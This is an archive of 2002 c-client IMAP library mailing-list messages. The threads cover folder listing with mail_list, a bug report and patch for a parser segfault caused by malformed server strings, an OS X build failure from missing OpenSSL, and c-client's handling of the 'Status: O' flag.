pinedev@shivax2.cac.washington.edu Wed Oct 9 08:53:57 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 9 Oct 2002 08:53:57 -0700 (PDT) Return-Path: Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g99FruMb026915 for ; Wed, 9 Oct 2002 08:53:56 -0700 Received: FROM mx1.cac.washington.edu BY mailscan6.cac.washington.edu ; Wed Oct 09 08:53:56 2002 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id g99FroCM019258 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 9 Oct 2002 08:53:50 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id g99FpdqE037736; Wed, 9 Oct 2002 08:51:39 -0700 Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id g99F9AFD015618 for ; Wed, 9 Oct 2002 08:09:11 -0700 Received: FROM mxu2.u.washington.edu BY mailscan2.cac.washington.edu ; Wed Oct 09 08:09:09 2002 -0700 Received: from hamal.ipal.net (hamal.ipal.net [209.102.192.71]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id g99F98nf010659 for ; Wed, 9 Oct 2002 08:09:09 -0700 Received: by hamal.ipal.net (Postfix, from userid 706) id 4A2481735; Wed, 9 Oct 2002 10:09:08 -0500 (CDT) Message-Id: <20021009100908.A954@ipal.net> Date: Wed, 9 Oct 2002 10:09:08 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Trey To: c-client@u.washington.edu Subject: mail_list & namespace / reference Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello all, I'm trying to get a list of folders from the IMAP server, and when I use mail_list(acct.mailstream, NULL, acct.mailbox); With acct.mailbox set to: acct.mailbox={192.168.3.43:143/imap/user="user"}* The IMAP command sent to the server is 'tag LIST "" *'. I want to make this be 'tag LIST "#shared" *'. When I set the second parameter to mail_list(), char *ref, to "#shared" it still sends the same LIST command. In the c-client code, mail.c, ref is set to 0 if the folder is a remote folder (starting with '{')... So I'm confused. What's the right way to get c-client to send 'tag LIST "#shared" *' to the server? Thanks, Trey -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Oct 9 10:04:03 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 9 Oct 2002 10:04:03 -0700 (PDT) Return-Path: Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g99H43Mb029933 for ; Wed, 9 Oct 2002 10:04:03 -0700 Received: FROM mx2.cac.washington.edu BY mailscan6.cac.washington.edu ; Wed Oct 09 10:04:02 2002 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id g99H41a4016773 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 9 Oct 2002 10:04:02 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id g99H3OxQ023512; Wed, 9 Oct 2002 10:03:24 -0700 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id g99GPjFD018866 for ; Wed, 9 Oct 2002 09:25:45 -0700 Received: FROM mxu1.u.washington.edu BY mailscan6.cac.washington.edu ; Wed Oct 09 09:25:44 2002 -0700 Received: from Ikkoku-Kan.Panda.COM (panda.com [206.124.149.114]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id g99GPhdX008229 for ; Wed, 9 Oct 2002 09:25:43 -0700 Received: from Ikkoku-Kan.Panda.COM (Ikkoku-Kan.Panda.COM [192.107.14.50]) by Ikkoku-Kan.Panda.COM id JAA13718; Wed, 9 Oct 2002 09:25:38 -0700 (PDT) Message-Id: Date: Wed, 9 Oct 2002 09:23:57 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Trey Cc: c-client@u.washington.edu Subject: re: mail_list & namespace / reference In-Reply-To: <20021009100908.A954@ipal.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 9 Oct 2002 10:09:08 -0500, Trey wrote: > I'm trying to get a list of folders from the IMAP server, and when I use > mail_list(acct.mailstream, NULL, acct.mailbox); > With acct.mailbox set to: acct.mailbox={192.168.3.43:143/imap/user="user"}* > The IMAP command sent to the server is 'tag LIST "" *'. I want to make > this be 'tag LIST "#shared" *'. You must either put the {192.168.3.43:143/imap/user="user"} in the reference argument, or have acct.mailstream already open on that specification and not specify it at all in either the reference or mailbox part. From pinedev@shivax2.cac.washington.edu Wed Oct 9 14:03:10 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 9 Oct 2002 14:03:10 -0700 (PDT) Return-Path: Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g99L3AMb008021 for ; Wed, 9 Oct 2002 14:03:10 -0700 Received: FROM mx1.cac.washington.edu BY mailscan4.cac.washington.edu ; Wed Oct 09 14:03:09 2002 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id g99L35CM031195 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 9 Oct 2002 14:03:06 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id g99L2EpB033740; Wed, 9 Oct 2002 14:02:14 -0700 Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id g99KvuFD074848 for ; Wed, 9 Oct 2002 13:57:56 -0700 Received: FROM mxu2.u.washington.edu BY mailscan5.cac.washington.edu ; Wed Oct 09 13:57:56 2002 -0700 Received: from hamal.ipal.net (hamal.ipal.net [209.102.192.71]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id g99Kvtnf014886 for ; Wed, 9 Oct 2002 13:57:55 -0700 Received: by hamal.ipal.net (Postfix, from userid 706) id 0E00A1733; Wed, 9 Oct 2002 15:57:55 -0500 (CDT) Message-Id: <20021009155754.B954@ipal.net> Date: Wed, 9 Oct 2002 15:57:54 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Trey To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: mail_list & namespace / reference In-Reply-To: ; from MRC@CAC.Washington.EDU on Wed, Oct 09, 2002 at 09:23:57AM -0700 References: <20021009100908.A954@ipal.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, Oct 09, 2002 at 09:23:57AM -0700, Mark Crispin wrote: > On Wed, 9 Oct 2002 10:09:08 -0500, Trey wrote: > > I'm trying to get a list of folders from the IMAP server, and when I use > > mail_list(acct.mailstream, NULL, acct.mailbox); > > With acct.mailbox set to: acct.mailbox={192.168.3.43:143/imap/user="user"}* > > The IMAP command sent to the server is 'tag LIST "" *'. I want to make > > this be 'tag LIST "#shared" *'. > > You must either put the {192.168.3.43:143/imap/user="user"} in the reference > argument, or have acct.mailstream already open on that specification and not > specify it at all in either the reference or mailbox part. > Cool. It works the way I want now with: mail_list(acct.mailstream, "{192.168.3.43:143/imap/user=\"user\"}", "#shared/*"); and (but seemed to be buggy) mail_list(acct.mailstream, "{192.168.3.43:143/imap/user=\"user\"}#shared", "*"); Thanks, Trey From pinedev@shivax2.cac.washington.edu Thu Oct 10 15:17:33 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 10 Oct 2002 15:17:33 -0700 (PDT) Return-Path: Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g9AMHXMb022729 for ; Thu, 10 Oct 2002 15:17:33 -0700 Received: FROM mx1.cac.washington.edu BY mailscan1.cac.washington.edu ; Thu Oct 10 15:17:29 2002 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id g9AMHNCM007686 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 10 Oct 2002 15:17:24 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id g9AMGepB022630; Thu, 10 Oct 2002 15:16:40 -0700 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id g9AMBhFD075076 for ; Thu, 10 Oct 2002 15:11:44 -0700 Received: FROM mxu4.u.washington.edu BY mailscan6.cac.washington.edu ; Thu Oct 10 15:11:43 2002 -0700 Received: from reason.marist.edu (reason.marist.edu [148.100.1.19]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id g9AMBgIr012136 for ; Thu, 10 Oct 2002 15:11:43 -0700 Received: by reason.marist.edu (Postfix, from userid 500) id 12CF33EA8B; Thu, 10 Oct 2002 18:13:10 -0400 (EDT) Message-Id: <20021010181310.B7949@reason.marist.edu> Date: Thu, 10 Oct 2002 18:13:10 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: urmk@reason.marist.edu To: c-client@u.washington.edu Subject: segfault in RC7 (and prior) and a fix Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I've found a segfault condition with extremely large header fields (100+ BCC entries. Yes, BCC, it was a malformed spam). This exists in RC7 and to the best of my testing, prior versions. Any program (ie, PHP) linking to c-client will segfault when it encounters an invalid email of this type. The problem lies in the parsing done by imap_parse_string in c-client/imap4r1.c:4123. The test: if (!c || (c & 0x80)) { /* server bogon */ looks for c == 0, end of string as well as invalid characters, however it then does a loop, incrementing past the end of the array. The quick and dirty fix is to add: --- if (!c || (c & 0x80)) { /* server bogon */ sprintf (LOCAL->tmp,"Invalid CHAR in quoted string: %x", (unsigned int) c); mm_log (LOCAL->tmp,WARN); + /* URMK - hacked in to try to prevent a crashing bug... */ + if (c == 0) + break; do { /* search for end with no further check */ --- This solves the crash and returns an error. There may be a more appropriate way to handle it. This showed up under linux/390 with spam mails with very long header fields and IBM's VM IMAP server. -m -- Michael Kershaw Michael.Kershaw@reason.marist.edu Linux Systems Programmer, Information Technology "Don't worry, I'm sure they'll listen to Reason." -- Fisheye, Snowcrash -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Oct 10 15:55:25 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 10 Oct 2002 15:55:25 -0700 (PDT) Return-Path: Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g9AMtOMb024112 for ; Thu, 10 Oct 2002 15:55:24 -0700 Received: FROM mx1.cac.washington.edu BY mailscan5.cac.washington.edu ; Thu Oct 10 15:55:19 2002 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id g9AMtJCM008836 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 10 Oct 2002 15:55:19 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id g9AMsn6i004210; Thu, 10 Oct 2002 15:54:49 -0700 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id g9AMpkFD172010 for ; Thu, 10 Oct 2002 15:51:46 -0700 Received: FROM mxu1.u.washington.edu BY mailscan1.cac.washington.edu ; Thu Oct 10 15:51:45 2002 -0700 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.5]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id g9AMpjdY020392 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 10 Oct 2002 15:51:45 -0700 Received: from mailscan-out2.cac.washington.edu (mailscan-out2.cac.washington.edu [140.142.33.17]) by mxout1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id g9AMpj0Q019906 for ; Thu, 10 Oct 2002 15:51:45 -0700 Received: FROM smtp.washington.edu BY mailscan-out2.cac.washington.edu ; Thu Oct 10 15:51:44 2002 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with ESMTP id g9AMpipK025790 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Thu, 10 Oct 2002 15:51:44 -0700 Message-Id: Date: Thu, 10 Oct 2002 15:51:46 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: urmk@reason.marist.edu Cc: c-client@u.washington.edu Subject: Re: segfault in RC7 (and prior) and a fix In-Reply-To: <20021010181310.B7949@reason.marist.edu> References: <20021010181310.B7949@reason.marist.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Thank you for this report. The actual problem is an IMAP server bug. Either the IMAP server sent an unterminated quoted string, or it sent a NUL within a quoted string. Either of these is a violation of the IMAP protocol. I agree that c-client's IMAP client code should not crash due to an buggy IMAP server, and there will be a fix in place in the released version of imap-2002 (and RC8 if there is such). -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Sun Oct 13 13:38:29 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 13 Oct 2002 13:38:29 -0700 (PDT) Return-Path: Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g9DKcTMb012552 for ; Sun, 13 Oct 2002 13:38:29 -0700 Received: FROM mx2.cac.washington.edu BY mailscan4.cac.washington.edu ; Sun Oct 13 13:38:28 2002 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id g9DKcLa4004920 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Sun, 13 Oct 2002 13:38:23 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id g9DKbbqE038382; Sun, 13 Oct 2002 13:37:38 -0700 Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id g9DJXLFD110966 for ; Sun, 13 Oct 2002 12:33:21 -0700 Received: FROM mxu3.u.washington.edu BY mailscan4.cac.washington.edu ; Sun Oct 13 12:33:20 2002 -0700 Received: from mail3.panix.com (mail3.panix.com [166.84.1.74]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id g9DJXKMG022856 for ; Sun, 13 Oct 2002 12:33:20 -0700 Received: from panix.com (24-193-96-34.nyc.rr.com [24.193.96.34]) by mail3.panix.com (Postfix) with ESMTP id 400EA982E9 for ; Sun, 13 Oct 2002 15:33:18 -0400 (EDT) Message-Id: <9F94B889-DEE2-11D6-945C-00039367011A@panix.com> Date: Sun, 13 Oct 2002 15:33:17 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: ber To: c-client@u.washington.edu Subject: rc7 fails to build out of the box on osx Mime-Version: 1.0 (Apple Message framework v548) Content-Type: text/plain; charset=US-ASCII; format=flowed Content-Transfer-Encoding: 7bit X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN RC6 built okay on this machine but RC7 fails. Am running 10.2.x, with the aug dev tools update. Thanks, brian redman [late:~/Desktop/imap-2002.RC7] ber% make osx make sslnopwd +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ + Building in full compliance with IESG security requirements: ++ TLS/SSL encryption is supported ++ Unencrypted plaintext passwords are prohibited +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Building with SSL and plaintext passwords disabled unless SSL/TLS echo " mail_parameters (NIL,SET_DISABLEPLAINTEXT,(void *) 2);" >> linkage.c cat osdepbas.c osdepckp.c osdeplog.c osdepssl.c > osdep.c `cat CCTYPE` -c `cat CFLAGS` mail.c `cat CCTYPE` -c `cat CFLAGS` misc.c `cat CCTYPE` -c `cat CFLAGS` newsrc.c `cat CCTYPE` -c `cat CFLAGS` smanager.c `cat CCTYPE` -c `cat CFLAGS` `cat OSCFLAGS` -c osdep.c osdep.c:137: header file 'x509.h' not found osdep.c:138: header file 'ssl.h' not found osdep.c:140: header file 'pem.h' not found osdep.c:141: header file 'buffer.h' not found osdep.c:142: header file 'bio.h' not found osdep.c:143: header file 'crypto.h' not found osdep.c:144: header file 'rand.h' not found osdep.c:155: undefined type, found `SSL_CTX' osdep.c:156: undefined type, found `SSL' osdep.c:168: undefined type, found `X509_STORE_CTX' osdep.c:172: undefined type, found `RSA' osdep.c:172: undefined type, found `SSL' osdep.c:318: undefined type, found `BIO' osdep.c:319: undefined type, found `X509' osdep.c:337: illegal expression, found `)' osdep.c:337: illegal expression, found `)' osdep.c:374: undefined type, found `X509_STORE_CTX' osdep.c:770: undefined type, found `RSA' osdep.c:770: undefined type, found `SSL' osdep.c:773: undefined type, found `RSA' cpp-precomp: warning: errors during smart preprocessing, retrying in basic mode make[3]: *** [osdep.o] Error 1 make[2]: *** [osx] Error 2 make[1]: *** [OSTYPE] Error 2 make: *** [osx] Error 2 -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Sun Oct 13 13:49:14 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 13 Oct 2002 13:49:14 -0700 (PDT) Return-Path: Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g9DKnEMb012918 for ; Sun, 13 Oct 2002 13:49:14 -0700 Received: FROM mx2.cac.washington.edu BY mailscan6.cac.washington.edu ; Sun Oct 13 13:49:13 2002 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id g9DKn7a4005164 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Sun, 13 Oct 2002 13:49:12 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id g9DKmXpB014950; Sun, 13 Oct 2002 13:48:33 -0700 Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id g9DKgVFD165122 for ; Sun, 13 Oct 2002 13:42:31 -0700 Received: FROM mxu2.u.washington.edu BY mailscan5.cac.washington.edu ; Sun Oct 13 13:42:30 2002 -0700 Received: from Ikkoku-Kan.Panda.COM (panda.com [206.124.149.114]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id g9DKgUnf030985 for ; Sun, 13 Oct 2002 13:42:30 -0700 Received: from Ikkoku-Kan.Panda.COM (Ikkoku-Kan.Panda.COM [192.107.14.50]) by Ikkoku-Kan.Panda.COM id NAA20584; Sun, 13 Oct 2002 13:42:21 -0700 (PDT) Message-Id: Date: Sun, 13 Oct 2002 13:39:40 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: ber Cc: c-client@u.washington.edu Subject: re: rc7 fails to build out of the box on osx In-Reply-To: <9F94B889-DEE2-11D6-945C-00039367011A@panix.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Did you read the release notes? Those build errors occurred are because you don't have OpenSSL installed. Subsequent to RC7, an additional set of text messages are output warning you prior to the osdep.o build: Building OS-dependent module If you get No such file error messages for files x509.h, ssl.h, pem.h, buffer.h, bio.h, and crypto.h, that means that OpenSSL is not installed on your system. Either install OpenSSL first or build with command: make osx SSLTYPE=none From pinedev@shivax2.cac.washington.edu Sun Oct 13 13:53:18 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 13 Oct 2002 13:53:18 -0700 (PDT) Return-Path: Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g9DKrIMb013028 for ; Sun, 13 Oct 2002 13:53:18 -0700 Received: FROM mx1.cac.washington.edu BY mailscan5.cac.washington.edu ; Sun Oct 13 13:53:17 2002 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id g9DKrECM012805 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Sun, 13 Oct 2002 13:53:14 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id g9DKqppB032464; Sun, 13 Oct 2002 13:52:52 -0700 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id g9DKkEFD060700 for ; Sun, 13 Oct 2002 13:46:14 -0700 Received: FROM mxu1.u.washington.edu BY mailscan3.cac.washington.edu ; Sun Oct 13 13:46:13 2002 -0700 Received: from mail3.panix.com (mail3.panix.com [166.84.1.74]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id g9DKkDdX014536 for ; Sun, 13 Oct 2002 13:46:13 -0700 Received: from panix.com (24-193-96-34.nyc.rr.com [24.193.96.34]) by mail3.panix.com (Postfix) with ESMTP id 6CDB4983CA; Sun, 13 Oct 2002 16:46:12 -0400 (EDT) Message-Id: Date: Sun, 13 Oct 2002 16:46:11 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: ber To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: rc7 fails to build out of the box on osx In-Reply-To: Content-Type: text/plain; charset=US-ASCII; format=flowed Mime-Version: 1.0 (Apple Message framework v548) Content-Transfer-Encoding: 7bit X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN No, I didn't. I did read the README. 1/2 a point? Thanks, brian On Sunday, October 13, 2002, at 04:39 PM, Mark Crispin wrote: > Did you read the release notes? > > Those build errors occurred are because you don't have OpenSSL > installed. > > Subsequent to RC7, an additional set of text messages are output > warning you > prior to the osdep.o build: > > Building OS-dependent module > If you get No such file error messages for files x509.h, ssl.h, > pem.h, buffer.h, bio.h, and crypto.h, that means that OpenSSL > is not installed on your system. Either install OpenSSL first > or build with command: make osx SSLTYPE=none > > > From pinedev@shivax2.cac.washington.edu Sun Oct 13 16:34:54 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 13 Oct 2002 16:34:54 -0700 (PDT) Return-Path: Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id g9DNYsMb017198 for ; Sun, 13 Oct 2002 16:34:54 -0700 Received: FROM mx1.cac.washington.edu BY mailscan4.cac.washington.edu ; Sun Oct 13 16:34:53 2002 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id g9DNYqCM015863 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Sun, 13 Oct 2002 16:34:53 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id g9DNYTxQ006786; Sun, 13 Oct 2002 16:34:29 -0700 Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id g9DNVoFD077872 for ; Sun, 13 Oct 2002 16:31:50 -0700 Received: FROM mxu2.u.washington.edu BY mailscan4.cac.washington.edu ; Sun Oct 13 16:31:50 2002 -0700 Received: from obelix.spectraweb.ch (obelix.plusnet.ch [194.158.230.8]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id g9DNVmnf021232 for ; Sun, 13 Oct 2002 16:31:49 -0700 Received: from petertosh (pop-be-3-2-dialup-144.freesurf.ch [194.230.165.144]) by obelix.spectraweb.ch (8.11.2/8.9.3/SuSE Linux 8.9.3-0.1) with ESMTP id g9DNVff09329 for ; Mon, 14 Oct 2002 01:31:41 +0200 Received: from tpo2 (helo=localhost) by petertosh with local-esmtp (Exim 3.35 #1 (Debian)) id 180sCR-0001xs-00 for ; Mon, 14 Oct 2002 01:31:07 +0200 Message-Id: Date: Mon, 14 Oct 2002 01:30:53 +0200 (CEST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: tomas pospisek To: c-client@u.washington.edu Subject: another try with Status: O MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-X-Sender: tpo2@petertosh X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN So now I've got mailsync as far as copying files between a a local store and a remote one without setting the "Status: O" flag. The problem with "Status: O" is, that some MUA's think it's not a new mail if it's set. One can work around this by setting Status: NO, but AFAIC see c-client doesn't support the "N" flag. But the real problem arises when I want to sync two mailboxes, not only by copying over files but also, in the end removing deleted ones. At that moment: mail_open() mail_expunge() c-client will mark all messages as "Status: O". I could work around this by first reading all the headers, then expunge, then reread all the headers and then copy, but the code is allready messy enough trying to sneak around c-clients tendendcy to keep on setting "Status: O" etc. Since c-client is a base library it'd be _nice_ to be able to maipulate those mails without setting "Status: O". Is there hope that such an option would get implemented? *t -- to ma will kill for oil s p -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Oct 17 05:30:00 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 17 Oct 2002 